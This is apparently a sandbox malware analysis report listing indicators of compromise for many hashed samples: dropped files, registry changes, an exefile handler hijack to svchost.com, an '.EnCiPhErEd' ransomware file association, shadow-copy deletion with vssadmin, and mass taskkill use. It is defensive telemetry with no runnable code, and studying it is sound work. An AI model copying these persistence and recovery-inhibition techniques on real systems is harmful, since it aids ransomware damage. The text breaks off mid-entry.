File created	C:\Program Files\VideoLAN\VLC\plugins\stream_out\readme.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PowerPointInterProviderRanker.bin	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\ado\msadomd28.tlb	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MEDIA\TYPE.WAV	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\vkl.exe	MSBuild.exe
File created	C:\Windows\xdwd.dll	cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
File opened for modification	C:\Windows\xdwd.dll	cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
File opened for modification	C:\Windows\svchost.com	InstallUtil.exe
File created	C:\Windows\IME\IMEKR\DICTS\SppExtComObj.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\IME\IMEKR\DICTS\e1ef82546f0b02	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\SKB\LanguageModels\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File opened for modification	C:\Windows\assembly	c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
File created	C:\Windows\assembly\Desktop.ini	c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
File created	C:\Windows\Help\Finish.exe	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File created	C:\Windows\vkl.exe	MSBuild.exe
File created	C:\Windows\SKB\LanguageModels\888100be1cf33a	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
File created	C:\Windows\11899.dat	aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 17 IoCs

pid	pid_target	Process	procid_target
11716	1216	WerFault.exe
9340	11604	WerFault.exe	144
10704	11604	WerFault.exe	144
776	1216	WerFault.exe	112
8640	1216	WerFault.exe	112
6580	1216	WerFault.exe	112
13096	1216	WerFault.exe	112
7656	1216	WerFault.exe	112
6344	1216	WerFault.exe	112
5904	1216	WerFault.exe	112
960	1216	WerFault.exe	112
516	1216	WerFault.exe	112
11804	5252	WerFault.exe	212
6588	9992	WerFault.exe	214
5488	11172	WerFault.exe	255
12536	1216	WerFault.exe	112
11680	1356	WerFault.exe	102

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JavaUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	images.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZcwWvGIJLelYh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tcphost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tcphost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	images.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vkl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	images.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	antifucked.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dd71256ff21fa4337f050ad39ef5e00650c9dc13c9b8a7eb4fe7e8d64150ce45.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4648	PING.EXE
10680	cmd.exe
13128	PING.EXE

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x0007000000028944-4915.dat	innosetup
behavioral2/memory/11424-5144-0x0000000000400000-0x0000000000546000-memory.dmp	innosetup

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
11532	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
4724	wmic.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
11672	vssadmin.exe
7940	vssadmin.exe

Kills process with taskkill 45 IoCs

pid	Process
5292	taskkill.exe
13500	taskkill.exe
6828	taskkill.exe
5964	taskkill.exe
1720	taskkill.exe
13088	taskkill.exe
6644	taskkill.exe
11176	taskkill.exe
5712	taskkill.exe
9824	taskkill.exe
12392	taskkill.exe
11492	taskkill.exe
8156	taskkill.exe
6364	taskkill.exe
8040	taskkill.exe
11152	taskkill.exe
8948	taskkill.exe
6996	taskkill.exe
7244	taskkill.exe
9036	taskkill.exe
12636	taskkill.exe
5532	taskkill.exe
12760	taskkill.exe
3892	taskkill.exe
11940	taskkill.exe
3512	taskkill.exe
14072	taskkill.exe
13996	taskkill.exe
9492	taskkill.exe
13252	taskkill.exe
5048	taskkill.exe
13480	taskkill.exe
11664	taskkill.exe
13668	taskkill.exe
7184	taskkill.exe
7164	taskkill.exe
9672	taskkill.exe
13940	taskkill.exe
6796	taskkill.exe
11260	taskkill.exe
10732	taskkill.exe
540	taskkill.exe
1604	taskkill.exe
5748	taskkill.exe
5616	taskkill.exe

Modifies registry class 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Visibility	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager	dfsvc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\fnsYm5R5i	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\YWOFEWMRQAYZQVA\DefaultIcon	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Local Settings	5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ahIFlNJOT\DefaultIcon	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\YWOFEWMRQAYZQVA\shell\open\command	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\YWOFEWMRQAYZQVA\shell	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\StateStore_RandomString = "3X7ZLL702R04Q9B88TD68ZL1"	dfsvc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\fnsYm5R5i\DefaultIcon	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ahIFlNJOT	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "Y8GY5A5NL095LJZN9MCT15YK"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Categories	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families	dfsvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\ahIFlNJOT\DefaultIcon\ = "C:\\ProgramData\\ahIFlNJOT.ico"	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.EnCiPhErEd\ = "YWOFEWMRQAYZQVA"	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\YWOFEWMRQAYZQVA\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3Mj8k14CbmFIV28.exe,0"	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\YWOFEWMRQAYZQVA\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3Mj8k14CbmFIV28.exe"	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft	dfsvc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.fnsYm5R5i	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\fnsYm5R5i\DefaultIcon\ = "C:\\ProgramData\\fnsYm5R5i.ico"	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ahIFlNJOT	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ahIFlNJOT\ = "ahIFlNJOT"	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.EnCiPhErEd	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	InstallUtil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.fnsYm5R5i\ = "fnsYm5R5i"	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\YWOFEWMRQAYZQVA	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\YWOFEWMRQAYZQVA\ = "CRYPTED!"	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "YDHG0GEVRT67JXQ56WRA6DJT"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Local Settings	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\YWOFEWMRQAYZQVA\shell\open	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\VisibilityRoots	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Local Settings	MSBuild.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	dfsvc.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

defense_evasion spyware trojan

pid	Process
11764	reg.exe
14216	reg.exe

Modifies system certificate store 2 TTPs 4 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
Key created	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 